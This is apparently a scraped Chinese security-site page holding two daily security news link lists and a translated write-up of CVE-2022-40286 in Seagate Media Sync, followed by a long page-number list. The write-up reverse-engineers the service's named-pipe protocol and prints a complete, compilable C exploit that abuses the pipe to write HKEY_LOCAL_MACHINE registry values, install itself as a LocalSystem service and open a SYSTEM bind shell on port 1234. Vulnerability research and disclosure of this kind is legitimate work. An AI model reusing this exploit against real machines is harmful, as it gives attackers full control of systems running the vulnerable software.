6、三星 LG 联发科的证书被用于签名恶意程序 https://www.solidot.org/story?sid=73542 7、SANS发布《2022年顶级新攻击和威胁分析报告》 https://www.secrss.com/articles/49653 8、印度泰米尔纳德邦医院 15w名患者的个人数据在暗网出售 https://www.indiatimes.com/technology/news/personal-data-from-tn-hospital-on-dark-web-586554.html 9、DeFi 协议 Ankr 遭受 500 万美元盗窃 https://finance.yahoo.com/news/defi-protocol-ankr-exploited-over-060811318.html 10、全国首例!云南破获域名黑产大案,抓获630人 https://www.freebuf.com/news/351436.html
网络安全日报 2022年12月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、IBM Cloud 漏洞使用户面临供应链攻击 https://www.securityweek.com/ibm-cloud-vulnerability-exposed-users-supply-chain-attacks 2、三菱电机 PLC 工程软件被发现严重漏洞可用于入侵系统 https://www.securityweek.com/mitsubishi-electric-plcs-exposed-attacks-engineering-software-flaws 3、谷歌逐步将 Android 迁移到Rust等内存安全的编程语言 https://www.securityweek.com/google-migrating-android-memory-safe-programming-languages 4、美国国土安全部网络安全委员会将审查 Lapsus$ 团伙的运作 https://securityaffairs.co/wordpress/139255/cyber-crime/us-dhs-cyber-safety-board-review-lapsus-attacks.html 5、谷歌发布安全更新以解决一个新的 Chrome 零日漏洞 https://securityaffairs.co/wordpress/139226/security/9-google-chrome-zero-day.html 6、Keralty跨国医疗组织遭受RansomHouse勒索软件攻击 https://www.bleepingcomputer.com/news/security/keralty-ransomware-attack-impacts-colombias-health-care-system/ 7、Cuba勒索软件在美国感染实体数量增加且赎金金额增多 https://www.cisa.gov/uscert/ncas/current-activity/2022/12/01/stopransomware-cuba-ransomware 8、超150个Oracle访问管理系统存在漏洞 https://therecord.media/more-than-150-oracle-access-management-systems-exposed-to-bug-highlighted-by-cisa/ 9、新型CryWiper数据擦除器攻击俄罗斯法院和市长办公室 https://www.bleepingcomputer.com/news/security/new-crywiper-data-wiper-targets-russian-courts-mayor-s-offices/ 10、十年未被发现!现代汽车曝重大安全漏洞可远程解锁、启动汽车 https://www.freebuf.com/news/351422.html
利用Seagate service获得system shell
这是挖掘 CVE-2022-40286 漏洞的记录。 闲来无事,我上网随便找了一个驱动来进行测试。我想找一个知名公司的产品,但是又不能是太偏太难懂的东西。 我最先发现了一个叫"Seagate Media Sync"的软件,这是一个将文件复制到希捷无线硬盘上的工具。之后我安装并运行了该软件,然后我发现它创建了一个名为"MediaAggreService.exe"的后台SYSTEM服务。 然后发现这个工具还有一个UI安装程序。 我们一般常见的查找权限提升的方式是对低权限的进程(UI)和高权限服务(或驱动)之间的内部通信进行攻击开始的。要想使用这个方法,首先第一步我们要能够监控的来自UI的合法通信。然而,由于我没有与之配套的希捷硬盘,我们只能使用这个程序中非常少的功能。 通过查看进程资源管理器发现,该服务还包含了一个处理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜测这个管道可能是用于用户界面(stxmediamanager.exe)和服务(MediaAggreService.exe)之间的通信。 通过观察用户界面,似乎我们可以点击的唯一按钮就是 "刷新"按钮。希望这能够让我们监控到一些服务通信。我们将调试器连接到用户界面进程,并在CreateFile和WriteFile函数上设置断点。 如上所示,当我们点击 "刷新 "按钮时,UI进程使用CreateFile函数进行了一个命名管道连接。我们可以检查之后调用的WriteFile函数来记录消息数据的内容。以下是写数据操作。 根据以上内容,我们可以猜测,第一个消息是一个4字节长度的字段,表示消息体的大小。第二条信息则是真实的命令数据。在这个事件中,它正在发送一条消息体长度为8个字节的命令。最初的4字节长度值与第二个WriteFile调用的nNumberOfBytesToWrite参数一致,这正符合我们的预期。我们现在可以检查该信息传递过程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函数上设置一个断点,该断点应该会在UI客户端调用CreateFile函数时触发。 然后我们现在可以在ReadFile函数上设置一个断点,这样就可以看到从客户端发送的数据。 现在我们已经找到了该服务中读取数据的代码,然后我们可以跟踪代码的执行流程。由于目前我们只能访问用户界面中的 "刷新 "命令,因此我们很有必要再进行一些静态分析,看看还有哪些命令可用。 在花了一些时间分析代码后,我可以看到每个命令都是以一个16位的签名(0x4B5C)开始的。之后是一个16位的 主命令ID,然后是一个32位的次命令ID。 001145BB | BA 5C4B0000             | mov edx,4B5C                                     | set expected command header signature: 0x4B5C 001145C0 | 0FB708                 | movzx ecx,word ptr ds:[eax]                     | get actual command header signature value 001145C3 | 66:3BCA                 | cmp cx,dx                                       | check 16-bit signature value 001145C6 | 74 1A                   | je mediaaggreservice.1145E2                     | jump if signature matches 001145C8 | 51                     | push ecx                                         | 001145C9 | 68 D8391200             | push mediaaggreservice.1239D8                   | "[PIPE] Failure: Bad Signature 0x%X" 001145CE | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145D3 | E8 D866FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 001145D8 | 83C4 0C                 | add esp,C                                       | 001145DB | 33C0                   | xor eax,eax                                     | 001145DD | 5E                     | pop esi                                         | 001145DE | 8BE5                   | mov esp,ebp                                     | 001145E0 | 5D                     | pop ebp                                         | 001145E1 | C3                     | ret                                             | error, return 001145E2 | 57                     | push edi                                         | 001145E3 | FF70 04                 | push dword ptr ds:[eax+4]                       | log minor command ID (32-bit) 001145E6 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | log major command ID (16-bit) 001145EA | 50                     | push eax                                         | 001145EB | 68 203A1200             | push mediaaggreservice.123A20                   | "[PIPE] Command major/minor: [0x%X:0x%X]" 001145F0 | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145F5 | E8 7667FFFF             | call mediaaggreservice.10AD70                   | add_log_entry 001145FA | 8B86 D0F00100           | mov eax,dword ptr ds:[esi+1F0D0]                 | 00114600 | C745 F8 00000000       | mov dword ptr ss:[ebp-8],0                       | 00114607 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | get major command value (message_base + 0x2) 0011460B | 83C4 10                 | add esp,10                                       | 0011460E | 83F8 10                 | cmp eax,10                                       | check if the major command value is 0x10 00114611 | 74 60                   | je mediaaggreservice.114673                     | jump to 0x10 command switch 00114613 | 83F8 20                 | cmp eax,20                                       | check if the major command value is 0x20 00114616 | 74 1A                   | je mediaaggreservice.114632                     | jump to 0x20 command switch 00114618 | 68 C83A1200             | push mediaaggreservice.123AC8                   | "[PIPE] Failure: Unknown Major Command" 0011461D | 68 F0841400             | push mediaaggreservice.1484F0                   | 00114622 | E8 8966FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 通过代码我们也可以看到,该服务似乎只支持两个主命令ID -- 0x10和0x20。发现这些线索后,我们现在可以解码我们先前记录的原始的 "刷新 "命令了。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) (no message body) 在观察分析了两个主命令组的代码后,我注意到0x10命令组包含了一个调用内部函数 MXOSRVSetRegKey 的条目,这个条目的次命令ID为0x400。 001136E4 | 68 08300000             | push 3008                                               | total message length 001136E9 | 8D47 08                 | lea eax,dword ptr ds:[edi+8]                             | 001136EC | 50                     | push eax                                                 | 001136ED | 8DB3 C0A90100           | lea esi,dword ptr ds:[ebx+1A9C0]                         | 001136F3 | 56                     | push esi                                                 | 001136F4 | E8 5F560000             | call <JMP.&memcpy>                                       | copy command message body 001136F9 | FFB3 C0D90100           | push dword ptr ds:[ebx+1D9C0]                           | 001136FF | 8D83 C0C90100           | lea eax,dword ptr ds:[ebx+1C9C0]                         | 00113705 | 50                     | push eax                                                 | 00113706 | 8D83 C0B90100           | lea eax,dword ptr ds:[ebx+1B9C0]                         | 0011370C | 50                     | push eax                                                 | 0011370D | 56                     | push esi                                                 | 0011370E | FF15 68D31100           | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>]   | execute command 顾名思义,MXOSRVSetRegKey 函数的作用似乎就是设置一个注册表值,如果该键不存在,那么就创建该键。 70F25590 | 55                     | push ebp                                                 | 70F25591 | 8BEC                   | mov ebp,esp                                             | 70F25593 | 83EC 08                 | sub esp,8                                               | 70F25596 | 8D45 F8                 | lea eax,dword ptr ss:[ebp-8]                             | 70F25599 | 50                     | push eax                                                 | 70F2559A | 8D45 FC                 | lea eax,dword ptr ss:[ebp-4]                             | 70F2559D | 50                     | push eax                                                 | 70F2559E | 6A 00                   | push 0                                                   | 70F255A0 | 68 3F000F00             | push F003F                                               | 70F255A5 | 6A 00                   | push 0                                                   | 70F255A7 | 68 6823F370             | push stxmediadevif.70F32368                             | 70F255AC | 6A 00                   | push 0                                                   | 70F255AE | FF75 08                 | push dword ptr ss:[ebp+8]                               | 70F255B1 | C745 FC 00000000       | mov dword ptr ss:[ebp-4],0                               | 70F255B8 | 68 02000080             | push 80000002                                           | 70F255BD | FF15 1020F370           | call dword ptr ds:[<&RegCreateKeyExW>]                   | 70F255C3 | 85C0                   | test eax,eax                                             | 70F255C5 | 75 1E                   | jne stxmediadevif.70F255E5                               | 70F255C7 | FF75 14                 | push dword ptr ss:[ebp+14]                               | 70F255CA | FF75 10                 | push dword ptr ss:[ebp+10]                               | 70F255CD | 6A 01                   | push 1                                                   | 70F255CF | 50                     | push eax                                                 | 70F255D0 | FF75 0C                 | push dword ptr ss:[ebp+C]                               | 70F255D3 | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255D6 | FF15 0420F370           | call dword ptr ds:[<&RegSetValueExW>]                   | 70F255DC | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255DF | FF15 0020F370           | call dword ptr ds:[<&RegCloseKey>]                       | 70F255E5 | 33C0                   | xor eax,eax                                             | 70F255E7 | 8BE5                   | mov esp,ebp                                             | 70F255E9 | 5D                     | pop ebp                                                 | 70F255EA | C3                     | ret                                                     | 通过对这段代码的分析表明,该命令很有可能会允许我们通过客户端进程远程创建或者修改注册表字符串值。注册表的根键被硬编码为HKEY_LOCAL_MACHINE(在RegCreateKeyExW调用中推0x80000002)。在对这些函数进行逆向分析后,我们发现这个命令接收的消息数据格式如下所示。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused) 由于类型字段被硬编码为REG_SZ(在RegSetValueExW调用中push 1),所以上面的命令只支持字符串值 。 我还发现了另一个命令ID(0x410),它允许我们以同样的方式设置REG_DWORD值。这个命令接收的消息数据格式如下。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD) 从上面的命令数据布局可以看出,我们可以推断出这两个命令应该有一个相同的数据结构。我们可以用C结构来表示,如下。 // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; 假设我们的上述猜想都是正确的,这也就意味着,任何用户都能够通过向seagate服务管道发送命令,向HKEY_LOCAL_MACHINE内的任何键写入任意的注册表值。如果这可以实现,这也就意味着我们对于权限的提升就有了一个很明确的利用途径。 所以根据我们分析得到的结果,编写一个自定义的管道客户端来测试我们的猜想。 DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value"); 上面的代码是连接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test内创建一个注册表值。然后我们将会以普通用户的身份来执行这个程序。 经过测试可以发现,这段代码可以正常执行,并成功创建了目标注册表值。对注册表HKEY_LOCAL_MACHINE的操作也为攻击提供了更多的可能性。在这种情况下,我们可以通过向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表键添加条目来创建一个自定义服务。 通常我们不会部署一个单独的exe来作为SYSTEM服务的有效载荷,而是将这一功能放到可执行文件中。这个执行程序将会首先检查它是否是以SYSTEM用户的身份运行。如果不是,它将会执行默认的行为,并通过希捷服务管道创建一个新的服务,如上所述。否则,如果exe检测到它是以SYSTEM服务的身份运行,它将会部署主要的有效载荷,这将会创建一个shell。 总而言之,这个POC工具将执行以下步骤。 使用CreateFile通过命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP连接到希捷服务。 使用GetModuleFileName获取当前exe的文件路径。 通过向希捷服务的命名管道发送注册表命令,创建一个新的Windows服务。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一个新条目,使用当前的exe作为进程路径。 重新启动计算机。 Windows将在启动时自动启动我们新创建的服务。可执行程序将检测到它是以SYSTEM身份运行的,并监听1234端口的TCP连接。 当用户连接到localhost:1234时,漏洞服务将会以SYSTEM的身份启动一个新的cmd.exe进程,stdin/stdout会被重定向到客户端套接字。 执行后 重启计算机 链接到 localhost:1234 最终,这个漏洞编号为 CVE-2022-40286。 以下是完整的利用代码。 #include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (dword) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwDwordValue = dwValue; // send command if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD StartBindShell(WORD wPort) { sockaddr_in SockAddr; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; SOCKET ListenSocket = 0; SOCKET AcceptSocket = 0; // create listen socket ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if(ListenSocket == INVALID_SOCKET) { return 1; } // set socket addr info memset((void*)&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(wPort); SockAddr.sin_addr.s_addr = htonl(INADDR_ANY); // bind socket if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // listen if(listen(ListenSocket, 1) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // wait for clients for(;;) { // wait for connection AcceptSocket = accept(ListenSocket, NULL, NULL); if(AcceptSocket == INVALID_SOCKET) { closesocket(ListenSocket); return 1; } // set StartupInfo fields - redirect input/output to socket memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.hStdInput = (HANDLE)AcceptSocket; StartupInfo.hStdOutput = (HANDLE)AcceptSocket; StartupInfo.hStdError = (HANDLE)AcceptSocket; // create cmd.exe process with inherited handles memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { closesocket(AcceptSocket); closesocket(ListenSocket); return 1; } // client socket has been passed to cmd.exe - close socket in local process closesocket(AcceptSocket); } // close listen socket closesocket(ListenSocket); return 0; } DWORD ConfirmSystemUser() { HANDLE hToken = NULL; BYTE bTokenUser[1024]; DWORD dwLength = 0; SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority; TOKEN_USER *pTokenUser = NULL; void *pSystemSid = NULL; // open process token if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) { return 1; } // get user SID pTokenUser = (TOKEN_USER*)bTokenUser; if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0) { CloseHandle(hToken); return 1; } // close token handle CloseHandle(hToken); // SECURITY_NT_AUTHORITY SidIdentifierAuthority.Value[0] = 0; SidIdentifierAuthority.Value[1] = 0; SidIdentifierAuthority.Value[2] = 0; SidIdentifierAuthority.Value[3] = 0; SidIdentifierAuthority.Value[4] = 0; SidIdentifierAuthority.Value[5] = 5; // get SYSTEM user SID if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0) { return 1; } // check if this is the SYSTEM user if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0) { FreeSid(pSystemSid); return 1; } // clean up FreeSid(pSystemSid); return 0; } DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath) { char szServiceKey[512]; char szImagePath[512]; char szWindowsDir[512]; // get windows directory memset(szWindowsDir, 0, sizeof(szWindowsDir)); GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1); // set service key memset(szServiceKey, 0, sizeof(szServiceKey)); _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName); // set image path // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests) memset(szImagePath, 0, sizeof(szImagePath)); _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath); // set registry value if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0) { return 1; } // set registry value if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Start", 2) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Type", 16) != 0) { return 1; } return 0; } int main() { WSADATA WinsockData; char szPath[512]; // check if this process is running as SYSTEM user if(ConfirmSystemUser() == 0) { // initialise winsock if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0) { return 1; } // ready - start tcp bind shell on port 1234 if(StartBindShell(1234) != 0) { return 1; } } else { printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n"); printf("x86matthew (www.x86matthew.com)\n\n"); printf("Retrieving current exe path...\n"); // get current exe path memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { printf("Error: Failed to get current exe path\n"); return 1; } printf("Creating service...\n"); // create service if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0) { printf("Error: Failed to add service via Seagate Media Sync service\n"); return 1; } printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n"); } return 0; }
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页